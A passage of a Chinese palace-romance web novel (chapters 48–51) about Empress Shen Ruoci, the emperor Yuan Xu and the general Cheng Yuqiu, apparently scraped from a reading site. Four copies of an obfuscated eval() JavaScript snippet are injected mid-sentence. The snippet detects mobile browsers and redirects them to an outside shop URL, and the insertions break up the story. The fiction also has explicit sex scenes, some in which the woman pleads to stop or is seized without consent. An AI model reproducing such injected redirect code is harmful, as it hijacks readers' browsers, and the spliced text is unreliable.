想起宫宴上元栩对她不闻不问,任人欺凌,连骁腾地一下站起来,“皇上!” 他压下胸中怒气,“求皇上放她出宫,臣愿意照顾她……” 元栩脸上的笑意淡下去,“来人,送连将军。”他径直走往屏风,连骁知道后边有个女人,他肯定是迫不及待要过去与她温存。 连骁男子顿时冒出一个念头,如果沈若辞跟了他,他的后宅可以干干净净,只留她一个女人。而不像元栩,后宫佳丽三千。 岳常安上前引路,“连将军请——” 连骁走了几步,屏风后边传来女子呜呜咽咽的声音,他脑中莫名闪过裙摆下那截莹白的脚踝,白嫩嫩的,晃眼得很,此时他脑中有个奇怪的念头。 屏风后,沈若辞原本已醉意朦胧,元栩一碰她,她又缓缓地睁开眼睛,眼中茫然漾开,才看清来人。 元栩托着她的背,抱她起来,片刻之后,她的手一下、一下地拍打他的胸膛,声音经过酒水浸透,更加绵软,“你怎么、怎么……才来啊。” 元栩一愣。 她用的分明是责怪的语气,他却从话中听出亲昵的意味。这让他身子莫名僵直,一动不动任她捶打。 沈若辞手臂软绵绵的,还在坚持打他,越打越委屈。最后几乎是带着哭腔,“我等你好久了,你怎么现在才来……” 元栩心头不由得又酸又涩,见她眼泪都流下来了,忙伸手拭去她的泪珠,低声哄道,“是朕的错,朕来晚……” 话说到半截,她的唇忽然吻上来,余下的话都吞噬在纠缠不清的唇齿中。 连骁起初不敢确认心中的念头,可听到她开口说话都时候,他才不得不承认那“痴心妄想的女人”,就是他想带出宫去呵护在手心的沈若辞。 这无疑是难以接受的,他几乎不假思索,就要朝屏风走过去。屏风后边交叠的身影,男女之间粗重急促的喘息,却让他脚步一顿。 他早已不是未经事的少年,很清楚男女床笫之间的事情。这场景与他所想的画面大相径庭,他潜意识里觉得沈若辞应该视皇帝如仇人,不该与他如此亲密,她没有反抗,是欣然接受,甚至是主动——这些都不在他想象的范围内。 连骁控制不住自己的脚,他想冲过去将屏风后两人分开,将沈若辞带回他的后宅,日日夜夜将她困在身边。 “连将军……” 岳常安的声音将他拉回现实,占有她的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552848|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人是他的外甥,是大魏的至高无上的皇帝,他身后背负着整个连家,根本没法子随心所欲,只能隐忍。 连骁右手握成拳,将所有蠢蠢欲动的念头压下来,最终还是说服自己走出了书房。 屏风后风雨渐歇,沈若辞如脱了水的鱼儿,呼吸紧促,抓着他胸口敞开的衣襟,“你、你不可以这么对我。” 元栩用嘴含着她的小衣,慢条斯理地往下拉,“为何?方才不是你先动嘴的?” 沈若辞咬着唇央求他,“你别……我们还没成亲,你不能这般……” “是吗?”元栩手下的力道逐渐加重,两团饱满的绵软在他的作弄下,随意变化成各种形状,他眼里闪过一抹讥诮,脸上却都是无辜的神色,“可沿沿明明很喜欢啊。” 沈若辞别过头去,认真地看着空气,尝试忽视他手掌带来的炙热,“求你,别弄了。” 御花园里。 元琛跟程于秋一路闲逛到湖边,程于秋终于忍不住了,扬起头问他,“殿下要跟我到何时?” 元琛一愣,平日里收放自如的容王殿下,此时神色不自然地看向波光粼粼的湖面,镇定道,“帝后大婚不久,正是如胶似漆的时候。本王作为兄长,自然要替大魏款待一下程将军。” 程于秋皱了皱眉头,不赞同道,“容王殿下怕不是有什么误解吧?” 她在湖边的海棠树下坐了下来,元琛也随她坐下来,天气干燥晴朗,微风时来,他闻言一滞,很快又反应过来回道,“方才宫宴结束后,皇后娘娘有些醉了,是皇弟亲自将人抱上步辇,二人是新婚夫妻,感情自然是再好不过。” 程于秋回头看他,眼中依然写着不相信,她摆明了说,“我看皇帝皇后不像感情好的样子。” 方才宫宴上众人有目共睹,倒是连骁连将军,都比皇帝更关心这位新皇后。 元琛发现吹嘘皇帝夫妻感情和睦这条路被堵死了,当即换了选了条截然相反的路,他叹了口气,“自古帝王多无情,皇弟虽是个好皇帝,却做不了好丈夫。” 程于秋不能再赞同,频频点头,“皇帝会打女人不?” 元琛回忆了一下过往,元栩曾将投怀送抱的贵女扔进湖里,把试图爬床的宫女踢出寝殿,他觉得自己也不算诋毁皇帝,“这个可能说不准……” 程于秋没有任何预兆,“腾地”一下从地上站起来。 “那岂不得我去治治他!” 元琛没想到没做成说客不说,反倒激起她的好胜心。 翌日沈若辞在雪辉宫里躺着休息,锦云进来禀告,“娘娘,程将军求见。” 沈若辞飞快地从软塌上爬起来,探着头问道,“是刚从南疆回来的程将军吗?” 锦云点点头,昨日宫宴她也去了,亲耳听九皇叔说程将军才配为大魏的皇后,她那时候心里很不服气,这样子说,把她家娘娘忽视得干干净净,完全不给面子。 锦云对程于秋没什么好感,理所当然觉得沈若辞也不喜欢她,于是试探着闻到,“是昨天宫宴上的程将军,咱要不要给她进来?” 49. 第 49 章 “要!”沈若辞已经在穿鞋子,“快请她进来。” 锦云隐约觉得皇后娘娘今日特别兴奋,似乎比皇上来的时候都要开心上许多,她犹犹豫豫地出去请人进来。 程于秋跟随锦云一同步入殿中,沈若辞正在沏茶。 锦云见沈若辞亲自动手,急匆匆地上前抢过活来做,“娘娘叫奴婢做就好了,哪能自己亲自动手。” “不碍事。” 沈若辞不听劝,她先斟了一杯放在对面的空位,才给自己也倒了一杯。 程于秋不假思索地坐在空位子上。 锦云简直忙不过来,这边皇后娘娘亲自动手干活刚把她吓了一跳,那边程将军没半声招呼就理直气壮地坐下来,压根没有给皇后娘娘行礼的意思,她急得差点说不出话来,“程将军您……” 程于秋悠闲地喝了口茶,打断她的话,“这位姐姐麻烦回避一下,我跟你们娘娘有话要说。” 锦云本就对她有成见,此时又见她不把皇后娘娘放在眼中,她担心沈若辞受欺负,哪能说出去就出去。 沈若辞以为她没听清楚,补了一句,“锦云姐姐先去休息一下。” 锦云闻言一滞,她不敢相信自己的耳朵,满腹疑虑,一步三回头地走向门口,快要迈过门槛的时候,程将军的声音再次在耳边响起,“麻烦带一下门。” 锦云更气了。 她怀疑她们家娘娘被威胁了,但回头见她嘴边噙着笑,一双杏眸更是弯弯的,明明更像是自愿的。她无声地叹了口气,将门带上。 屋中安静下来,只剩下沈若辞与程于秋二人。 但安静只持续了片刻,沈若辞从座位上一跃而起,拉着程于秋一路小跑到软塌边,“阿秋快上来。” 言语中透着迫不及待的兴奋。 程于秋由着她拉着自己在软塌上坐下来,而后慢悠悠地除下鞋子,爬上榻去。 沈若辞捧出一木质托盘,盘子里琳琅满目,有水果、糕点、蜜饯,都是些比较诱人的东西。 “阿秋你看,这樱桃是清晨采摘下来的,你尝尝。”她捻了一枚新鲜的樱桃喂到她嘴里,“怎么样,是不是很甜?” 樱桃落入口中,程于秋贝齿轻轻一碰,香甜的汁水在口中迸发开来,她没来得及吐核,又被喂下第二个、第三个。 沈若辞见她吃得快,心里喜滋滋的,手上喂食的动作更勤了。 昨日宫宴上她就仔细观察过了,她的阿秋瘦了。肯定是战场条件艰苦,物资匮乏,把人熬瘦的。 她又拿起一块桃花酥,满眼期待地举到她嘴边。 程于秋推开桃花酥,吐出五个樱桃核,拒绝道,“沈沿沿,你喂猪啊。” 沈若辞不好意思地笑了,她缩回手,低下头咬了一口桃花酥,“可香了,你不吃要亏。” 程于秋不受诱惑,“我来之前吃过饭了,足足吃了两大碗,宫里的菜太好吃了,我现在肚子吃不下任何东西了。” 就是啊,她就知道阿秋肯定是苦着了,沈若辞将零嘴一一收起来,“那我先装起来,你带回去吃。” 程于秋见她垂着眼眸,卷翘的睫毛纤长秀气,肤色白皙又透着粉,嘴角似乎总是不受控制地上扬,又悄悄地压下去。 “好了。”忙活了一会,沈若辞抬起头来,笑盈盈地递出一大纸包。 程于秋面无表情地接过来放在一旁,紧接着以迅雷不及掩耳之势揪起她的衣领,几乎要把她的人提起来,而后恨恨地瞪着她,咬牙切齿道,“沈若辞,别以为你这样做,我就能原谅你。” 南疆三年五年,程于秋从来没觉得时间如此难捱。一边是战场上杀不退的敌人,另一边是她惦记的那个人,缠绵病榻整整两年不见好转。 得知消息的这半年来,她每天每夜都心急如焚,盼望着战事能马上结束,她能早日回到盛京,哄她吃药,看她一点一点地好起来。 所幸一切都来得及,她还在,不晚。 沈若辞被她压着胸口提起来,猝不及防之下惊呼了一声。 程于秋立即放松了手劲,托着她的背,“胆小鬼。” 沈若辞知道她刀子嘴豆腐心,主动蹭了蹭她的手。 程于秋不是个喜欢煽情的人,她瞪了沈若辞一眼,刚想拿开手,却被手下绵软的触感吸引了注意。 “不会吧。”她难以置信地笑了一下,“沈沿沿,你长大了?” 沈若辞意识过来她说的哪里,双颊顿时红透,她捂紧自己的胸口,“你乱说什么呢,快松手。” 程于秋却来了兴致,“有没有乱说,你让我看一下就知道了。” “你学得像个臭流氓。”沈若辞气得要跺脚,奈何被她抓着动惮不得。 程于秋却笑了,她轻而易举地把沈若辞按倒在床上,作势要去扯她的小衣,手却被沈若辞挡开,只能挠她的痒痒。 沈若辞又急又好笑,两条细弱的手臂在半空中挥舞着,企图抵挡她的攻势。 自打程于秋跨进雪辉宫后,已有宫人跑去龙泽宫汇报,锦云生怕出了什么事无法交代,寸步不离地守在门口,小脑瓜子时时刻刻留意着殿内的声响。 但当亲眼见到皇帝出现在雪辉宫的时候,锦云还是有些难以置信,她手脚无措地指了指殿内,“皇上,程将军……” 元栩刚好听见沈若辞尖叫的声音,他几乎是不假思索,一脚踢开了寝殿的门。 所以元栩进门的时候,就见到匪夷所思的一幕,程于秋跨坐在沈若辞身上,伸着手要去剥她的衣裳。 他脸色骤然一沉,大步走向二人。 “程将军好得很,欺负到朕头上了。” 沈若辞先是听到大门的动静,还未及停下来仔细辨认,就已经听到皇帝冷冷的声音。 她动作一顿,惊慌地望向程于秋。程于秋能感受到身下原本柔软的身子已经僵硬起来,她松开沈若辞要把她抱起来的时候,皇帝已经走过来一把推开了她。 程于秋舌头僵硬,“皇……上、”她感觉皇帝的眼神能杀人。 沈若辞真的怕皇帝要惩罚程于秋,她慌忙抓住抱起她的人,正欲开口解释,情急之下却被自己的唾沫呛了一下,开始咳嗽。 她越是急,越是咳,最后连眼泪都要咳出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599179|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 此时沈若辞衣衫不整被皇帝抱在怀里,好不容易缓过来一点,又想开口,“皇上咳咳,程、程将军咳……” 元栩给她拍着后背顺气,他注意到仍在塌上的程于秋,冷声道,“滚下去。” 沈若辞更急了,抓着他的袖摆,眼泪一滴一滴往下滚,眼睁睁地看着程于秋从软塌上下去。 程于秋跪在地上,“皇上恕罪,是末将冒犯了皇后娘娘。” 沈若辞知道皇帝这个人霸道又记仇,就算是他不喜欢的人和事,也不允许别人冒犯。 皇帝给她喂了半杯温水,她抽了抽鼻子,可可怜怜地澄清,“皇上,程将军是跟臣妾闹着玩的……” 元栩慢条斯理地替她套上罗袜,系好带子,程于秋见那欺霜赛雪的人儿被皇帝抱在怀中,极富耐心地替她穿袜整衣,不禁目瞪口呆。 两厢一对比,她似乎、真的是很鲁莽了。 “只是玩闹?”元栩将她散落下来的发丝别到耳后,“朕看她可是把你压在塌上。” 沈若辞小心翼翼地跟程于秋交换了一下眼神,程于秋似乎还想笑,被她狠狠地瞪了一下,她认认真真地回答元栩的问题,“是真的,程将军很好,没有伤害臣妾。” 若说被压着就是被欺负,那他都不知道欺负了她多少回了!但这话只敢在心里嘀咕,却不敢真的说出口。 好在皇帝也没有想继续追究,暂且相信沈若辞的话,“下去吧,以后皇后宫中你少来。” 沈若辞闻言如晴天霹雳,她好不容易才见到阿秋,想着日后二人可以像小时候一样,时不时待在一起,没成想皇帝当场断了她的念想。 程于秋就没有沈若辞的担忧了,她面不改色地朝皇帝行了一礼,“末将告退。” 沈若辞抽了抽鼻子,眼见程于秋的身影消失在门口,她垂下眼帘,目光落在穿戴整齐的罗袜上。 她呆呆地看着,程于秋又突然进来了,“末将该死,落下皇后娘娘送的礼物,拿好马上走。”她溜到榻边,提起纸包,转身就要来离开。 沈若辞忽然开口叫住她,期盼而又略带失望的地问道,“程将军昨日说要送礼物来的,怎么不见你带过来?” 程于秋脚步一顿,她急着来见沈沿沿一面,礼物千里迢迢从南疆带回来的,尚在宫外,她抱歉道,“是末将疏忽,这就去安排,尽快送来给娘娘。” 沈若辞听到二人又有见面的机会,忍不住笑了,“好啊,程将军要快点送来。” 程于秋已经无法忍受皇帝的目光了,她给沈若辞使了个眼色,提着纸包一溜烟离开了雪辉宫。 沈若辞嘴角还有笑意,元栩移开目光,没好气地问道,“想要什么?” 沈若辞不知道该怎么回答。 他又问,“她那只猫?” 沈若辞迟疑地点了一下头。 她想要见程于秋就对了,至于什么礼物,其实都好。 元栩嗤笑一声。一只猫,这有什么难的。 沈若辞这才想起皇帝来得突然,她平静下来问道,“皇上过来雪辉宫,可是有什么要紧的事?” 50. 第 50 章 元栩看向她,目光直接撞进她眼底,“朕还没有换皇后的打算,总不能让人骑到朕头上来。” 嗯,原来是怕自己丢了面子。 她默默地点了点头。 元栩提起一只手指点住她的额头,“这才见几次的人,沿沿就给她送礼物了。” 沈若辞觉得额心痒痒的,心里在想这人可真小气,还是皇帝呢。 元栩突然收回手,转而抚向腰间的香囊,话说得莫名其妙,“用久了,是该换了。” 沈若辞视线下移,也没仔细去看,就轻轻“嗯”了一声,“确实有点旧了。” 殿中安静下来。 元栩的脸色也沉了下来。 沈若辞一时如坐针毡,手指碰到腰间的佩饰,下意识地攥在手心。 元栩指了指她的手,“摘下来,给朕玩几天。” 沈若辞松开手,白玉雕刻的一尾小鱼自她手中滑落,精致漂亮,活灵活现。 “这是臣妾的旧物,拿不出手。皇上若是想要,臣妾嫁妆里有新的,可以……”上次回门的时候,沈相塞给她不少东西带来宫里,其中不乏上乘的玉器宝石。 元栩执意去解她的腰带,“不必,朕就要这个。” 沈若辞着实没想过皇帝会看上她这块玉佩。这玉饰虽做工精良,但玉质却非上等,明眼人一看就知道。她长年佩戴,不是因为珍稀宝贵,只是对她来说有特别的意义。 元栩将玉佩解了去,极其顺手地别在自己腰间。 沈若辞只觉得头大,心中思忖着这玉佩怕是一时半会要不回来了,她只好妥协,“皇上玩腻了,记得还给臣妾。” 元栩站起来轻拂了一下玉佩,只冷冷道,“知道了。”便往门口走去。 沈若辞哭笑不得,只期盼他莫要丢了或是磕碎了。 隔天,沈若辞用完早膳在花园里散步, 接下来每一天,沈若辞都在等程于秋的到来。左等右等,没等来程于秋,却收到了薛雪媚等人邀约,约她一同去御花园里赏茶花。 皇帝虽不允许她乱跑,但去花园里赏花这种小事,也没有多做干涉,反正她乖乖的不惹事,他也不会管束得太紧。 沈若辞到的时候,薛雪媚异常亲昵地拉她坐在自己身边。她刚坐下,就发现连亦兰姐妹都在场,连亦心看她的眼神还是怪怪的,有一种说不出的诡异。 静妃用帕子捂着笑道,“据说几天后九皇叔的寿宴上,程将军要上去献舞,大家说她能跳舞吗?” 淑妃跟嘴道,“那粗鲁样,杀人就在行,跳舞……依臣妾看,悬得很!” 薛雪媚拉了拉沈若辞的手,“娘娘,今天大伙儿给您出口气,给这女人点颜色看看。” 沈若辞疑惑地回过神来,刚想问怎么回事,就见一宫女引着程于秋前来,她心中又惊又喜,表面却不动声色。 程于秋觑了一眼沈若辞,很快移开目光,朝众人行礼,“参加各位娘娘。” 沈若辞抬了抬手,示意她坐下,“程将军无需多礼。” 程于秋提着裙摆坐下来,动作爽利不拘,却不让人觉得粗鲁,反而很优美流畅。 连亦心盯着她那张脸微微蹙眉,在她的梦里,程于秋就像个男人,一直在边疆行军打仗,根本没有接近的皇帝的机会。 要说让她印像深刻的事——那就是她曾提着剑进了国公府,亲手杀了袁妙莹,也不知道这二人什么仇什么恨。 她没心思去猜,反正只是无关紧要的人。眼下最重要的还是霸占着后位的沈若辞,这女人挡了她的道,何时被废还是未知数。 她想使点手段也不是容易的事,毕竟这是宫里,不像当初那民间女子,很好解决。 连亦兰不知道妹妹这些曲曲折折的心思,她开始夸赞沈若辞,“程将军,你看我们皇后娘娘,父亲是大魏的栋梁权臣,她出身高贵,样貌又是万里挑一的好看,这皇后的位置怕是没人能抢走。” 程于秋微微颔首,“连妃娘娘说得极是。” 连亦兰捻起杏干的手一顿,她想象的程于秋该是对她的话不屑一顾才对,而不是这般毫无预兆地奉承。 薛雪媚可没她这么含蓄,她装腔拿调,“九皇叔年纪大了,头脑也糊涂了。程将军回去后,要好好劝劝他老人家,睁大眼睛看看,我们皇后娘娘哪里配不上皇后之位。” 几位妃子脸上都带着笑,出奇一致地想要打击程于秋。 沈若辞自然知道她们不是在为自己鸣不平,只不过是借她的名头来欺压程于秋,她不动声色地捏了一颗葡萄放进嘴里,将话题扯开,“本宫听宫女说,前几年宫里从烟台移栽了一批樱桃树栽在后山,为何不摘点来吃?” 这事淑妃知道,她解释道,“那批樱桃树来了之后水土不服,大都枯萎了,眼下只剩下一棵,每年产量极少。” 沈若辞想起那日她拿了一包给阿秋,隔个两三天又有宫女送来新鲜的樱桃,心想那产量也不至于太少。 静妃舔了舔嘴唇,似在回味,“去年有幸在太后娘娘宫里吃过一次,又甜又新鲜。今年不见太后娘娘宫里有了,想必是产量更少了。” 薛雪媚拿眼瞟了这两个没眼色的,好端端的话题给她们两个越扯越远,再说回去就没意思了。 沈若辞也没给她们再说回去的机会的,开始谈及沈相喜欢的茶花。这方面的知识她了解得多,一开口就滔滔不绝,别人再来插嘴那事,就显得突兀了。 听到最后,其他妃子都打着哈欠离开了,现场只剩下沈若辞跟程于秋二人。 程于秋抹了一把额头,虚脱道,“每天要应付这群女人,可真不是简单的事。”她喝下一口茶,转头问沈若辞,“当皇帝很累吧?” 累?沈若辞下意识挪了挪腰。昨夜皇帝在她床上奋战到半夜,英勇得很,可不见累。 程于秋看向她的精致的眉眼,“想什么呢?” 沈若辞面上红云渐起,她别开脸去假装赏花,程于秋不依不挠地掰过她的脸来,“唉沈沿沿,你到底在脸红什么?” 沈若辞无可奈何,她很想说等你成亲就懂了,可是她说不出口,只好撒谎,“没有脸红,是日光晒的。话说……九皇叔寿宴上,阿秋真的要去献舞? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603861|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 程于秋一口茶刚进了嘴里,差点没喷出来,她艰难的咽下茶水,“刚刚那个……叫什么贵妃的说得对,义父怕是要老糊涂了,竟然让我去寿宴上献舞,他也不想想,我是那块料子吗?” 沈若辞不解,“那她们怎么也知道这事?” 程于秋叹了口气,“那是因为义父非要我选个舞曲,我拧不过他,就故意选了个胡旋舞,想气气他,好让他放弃,没想到他跟我犟上了,将名单上呈给了乐府。” 沈若辞同情道,“那阿秋岂不是要去练习了?” 程于秋拒绝道,“别别别,我还是去求求义父,让他打消这个想法实在。” 沈若辞还想说什么,程于秋转过来看着她的眼睛,忽然严肃道,“沈沿沿问这么多,是不是怕我抢了你的皇帝啊?” 沈若辞无声地做口型,“抢你个大头鬼。” 这话把程于秋逗笑了,“你学坏了沈沿沿。” 沈若辞耳朵一红低下头去,方才她是情急之下脱出而出,此时被提醒后顿觉羞窘。 程于秋抬头望了望天空,天气很不错,她也没有继续逗弄沈若辞,趴到她的耳边低声道,“你等着,我有机会就去把你偷出来玩。” 沈若辞忽然抬头,看见程于秋从桌上提了一串葡萄,边走边吃,只留了一个背影给她。 ** 九皇叔的寿宴在宫里举办,这一天宫里很是热闹,比庆功宴还要隆重盛大。 可能因为上回宫宴上沈若辞不小心喝醉了,给皇帝添了麻烦,所以今日被皇帝禁了酒,桌上只有茶水和甜汤。 她不是挑嘴的人,捧着小碗喝甜汤。 众人给九皇叔道喜送礼之后,就开始看台上的表演。 沈若辞环顾一周,在人群外围发现程于秋的身影,她皱着眉头,给她使了个眼色。 沈若辞会意,找了借口离开寿宴。荣月寸步不离地跟着,她只好带着人一起离开。 程于秋有单独上妆打扮的屋子,她将沈若辞带到屋里,进门后就给荣月点了昏睡穴。 沈若辞问她,“出什么事?” 程于秋掏出一图册,献宝似的地捧到沈若辞跟前,“替补的两位舞姬,一个生病了,一个扭伤了脚。事到如今,只有沈沿沿你能帮我了。” 沈若辞看了她一眼,缓缓地翻开图册,是练舞的动作。 程于秋挽着她的手一副愁眉苦脸的模样,“献舞这事我原以为义父忘了,没想到他今天给我放话了,说是我不去献舞也可以,他会亲自给我定一门亲事,要我乖乖等着嫁人。” 沈若辞合上图册,好奇地问道,“定了哪家的公子?” 程于秋一掌拍在图册上,气急败坏道,“这不是重点好吗,沈沿沿!现在当务之急是我要上去献舞,我不想嫁人。” 沈若辞点点头表示理解,而后问她,“那你会了吗?” “不会。”程于秋蔫了一下,又死皮赖脸地凑过去,“所以才找你帮忙啊,你的舞蹈天赋我是见识过的,看两遍图册就能记住动作,现在还有时间,你快看,我帮你上妆。” 51. [锁] [此章节已锁] 沈若辞将图册一扔,站起身来,“不行,这舞我没练过,估计跳不好。再者我跟你长得也不像,扮不了你。” 程于秋拉着她坐下来,“好沿沿,你先听我说嘛,今日献舞有八个人,都蒙了面纱,领舞已经有人选,你上去替我凑个人数。” 沈若辞在犹豫。 程于秋拿出两层面纱,“哪,你看,我已经跟那几位舞姬说好了,今日每个人都蒙两层面纱,这样就看不到容貌了。” “好不好嘛?”程于秋朝她撒娇。 沈若辞怕九皇叔不征询阿秋的意见,就随意给她指一门婚事,迟疑了片刻,还是松口答应了她。 程于秋喜笑颜开地拿起图册塞到沈若辞手里,开始往她额头贴花钿,“沈沿沿,快看。” 沈若辞专心看图册,程于秋给她梳妆打扮。她的手艺一般般,勉强能看。 好在沈若辞天生丽质,浅紫色的轻纱舞衣将她曼妙的身姿完全展示出来,细腰婀娜,长腿笔直纤瘦,紫色的轻纱衬得她肤色如白玉无暇。 程于秋看呆了眼。 沈若辞只好自己蒙上面纱。 两层面纱遮去容貌的光芒,不至于那么耀眼。 程于秋回过神来,要是早知道沈若辞这么夺目,她都舍不得让她上去献舞,她轻咳了两声,凑到沈若辞耳边,“我要是皇帝,保准是个昏君,天天抱着你,日日想着你,夜夜笙歌。” 沈若辞瞪了她一眼,“胡说八道。” 程于秋耸耸肩,又帮她检查了一遍,确定没什么疏漏,才将人送上舞台。 领舞的舞姬是个美艳的胡姬,身段凹凸有致,舞姿魅人,一上场就吸引了大部分的目光。 沈若辞站在后排不起眼的位置,舞跳得也不甚走心。 自打表演开始,九皇叔就一直兴致缺缺,此时终于等到程于秋出场,他顿时拿出十二分精神。可当他两眼冒光地在场上找了几个来回,都未能认出哪个是自己的女儿阿秋。 他怀疑是自己喝多了,连人也看不清了,干脆放弃了找人,直接对皇帝说道,“皇上,这是阿秋的节目。我们阿秋啊,不止打仗厉害,跳舞也是一等一的好看。” 九皇叔夸起人来十分直白,丝毫不知道什么事自谦。 皇帝本来没认真看,经九皇叔这么一夸赞,他倒是往台上多看了几眼。 九皇叔微笑着,试图从元栩脸上看出点情绪。 起初他眼神还在逡巡,片刻以后便停下来落在一人身上。 宴席上时刻关注皇帝的人也发现了这一点,紧跟着投去了目光。不瞧不要紧,一瞧便心知肚明,后排原来还藏着个狐狸精,身段明晃晃地勾人。 连骁坐在元栩的另一侧,见他对那舞姬颇为关注,故意在皇帝耳边调笑,“胭脂俗粉,难得有个佳品。” 只是她们还来不及在心里骂上一场,就见天子忽然起身,长袍飘逸,身姿颀长,穿过舞台,径直走到那狐狸精跟前,一把将人抱了起来。 骤然被人抱起,沈若辞差一点惊呼出声。好在现场歌舞未停,淹没了她细碎的呼叫。 寿宴从中午的宴席开始,到现在持续了大半天,此时天色已暗,出了舞台光线昏暗,很难辨认出人的容貌来。 元栩将人抱进了一处假山,朝外边的人喊了一声,“走远点。” 岳常安心领神会,赶忙吩咐侍卫围了一圈,不让人靠近。 沈若辞足尖点着地,被放在一块光滑的大石头上,面纱不知道何时只剩下一片。 她压下心中的慌乱,正思考着要如何应对眼下的场景,皇帝就突然隔着面纱吻了下来。 强势,极富侵略性,沈若辞从来没有见过这么急躁的他。这场风雨,比以往每一次都要猛烈、肆虐。 紫色的抹胸被推到了腰间,她无暇顾及,足尖离了地,悬在巨石上,如轻烟般漫散开的裙摆尽数堆叠在腰肢。她感觉一凉,下意识要拢紧双膝,却被滚烫的硕|物烫得身体一颤。 那时她还能清晰的地听到皇帝在她耳边骂了一声“狐狸精”,她想要哭,想要辩解的时候,整个人已经被推进了深渊。 假山外边歌舞升平,灯影幢幢,洞内疾风骤雨平地而起,娇柔的小花很快受不住风雨侵袭。 好不容易挨到雨收云散,沈若辞仰着头急促地喘着气儿,面纱仍在她脸上,皇帝似乎也没有发现她的身份。 感觉皇帝又低头来吻她,沈若辞慌得用手去推他,她已经是忍到了极限,才没有哭出来。若是再来一回,肯定要忍不住了。 好在皇帝只是轻轻地吻了吻她的眼睛,便开始清理两人的身子。 抹胸轻纱都回到了原来的位置,长裙也被放了下来,沈若辞红着脸,下意识交叠起双脚。 皇帝已穿戴整齐,手里将她的亵裤揉成一团晒进袖子里。 沈若辞微怔,这才想起他方才用的什么替她擦去黏腻。 好生不要脸。 沈若辞被他用披风裹住身子,抱上了步辇。 她闷闷地钻进他的怀里,害怕被人发现自己的身份。 上了步辇,皇帝放下她,在她耳边轻声道,“不准再回宴席上去了,朕让宫人送你去龙泽宫。” 沈若辞心想,人都没见过,就要送到他寝殿里去,有这么缺女人吗? 元栩重回寿宴上,沈若辞坐着步辇,等待程于秋来救她。 步辇才走出一段距离,就被人拦住了。 “让开,本宫倒是要瞧瞧这狐狸精长什么样,竟敢勾引皇上。” 沈若辞听出是薛雪媚的声音。 引路的太监好言相劝。 连亦兰在一旁帮腔,“公公就让贵妃娘娘瞧瞧吧,看一下又不会少块肉。” 二人在前边吵吵闹闹,一道人影正悄悄靠近步辇,她一把掀开步辇的纱帘,入眼便是蒙着面纱的舞姬。 沈若辞微微抬眸,看清来人正是元栩的表妹连亦心。 尽管已经见过几次,沈若辞还是头一回见到这样的她,面露凶色,嘴角上翘,眼神中带着浓浓的鄙夷,二话不说就要伸手去掀沈若辞的面纱。 沈若辞下意识避开,就见程于秋身形一闪,单手钳住那只正要贴上来的手。 程于秋轻轻一甩,撇开连亦心的手。 连亦兰看清程于秋的脸,轻笑道,“程将军什么意思?” 程于秋睨她一眼,“这舞姬是我的人,你们怕是没资格动她。” 连亦心冷笑,“她现在已经是皇帝的人了。” 程于秋挡在沈若辞跟前,“此时此刻我可以将人带走,过了这个当口,那就说不准了。还是说,你们愿意让她留在皇帝身边?” 连亦心不是个愚笨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611232|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,她思忖片刻,立即明白话中的意思,悄无声息地退了一步。 程于秋扣住沈若辞的腰,轻道一声“走”,便将人带离了现场。 引路太监慌忙跑过来,“哎呦,连姑娘您怎么能让她把人带走啊!” 连亦心冷着脸,“她要将人带走,关我什么事。” 那太监急得跺脚。 程于秋将沈若辞带回换衣裳的小屋里,让她换回衣裳。 沈若辞换下被弄脏的舞衣,开始穿自己的衣裳。 程于秋小心翼翼地替她卸下花钿,除去发髻上的钗饰。 沈若辞听见程于秋在她背后问道,“他知道是你吗?”她一怔,片刻之后又摇摇头,“我没出声,他应该不知道。” 程于秋走到她跟前来,“他平时都是这样,随意跟别的女人……欢好?” 沈若辞怔住。 她知道自己心里在不舒服什么了。 一直以来,她都知道帝王三宫六院,身边会有很多女人,可没想到有朝一日他会将自己错认成其他女人,然后……欢好,她隐隐有些反胃。 “他是皇帝。” 皇帝会有三宫六院,美人三千,不是只是她一个人的丈夫。这话在回答程于秋的问题,也是在告知自己。 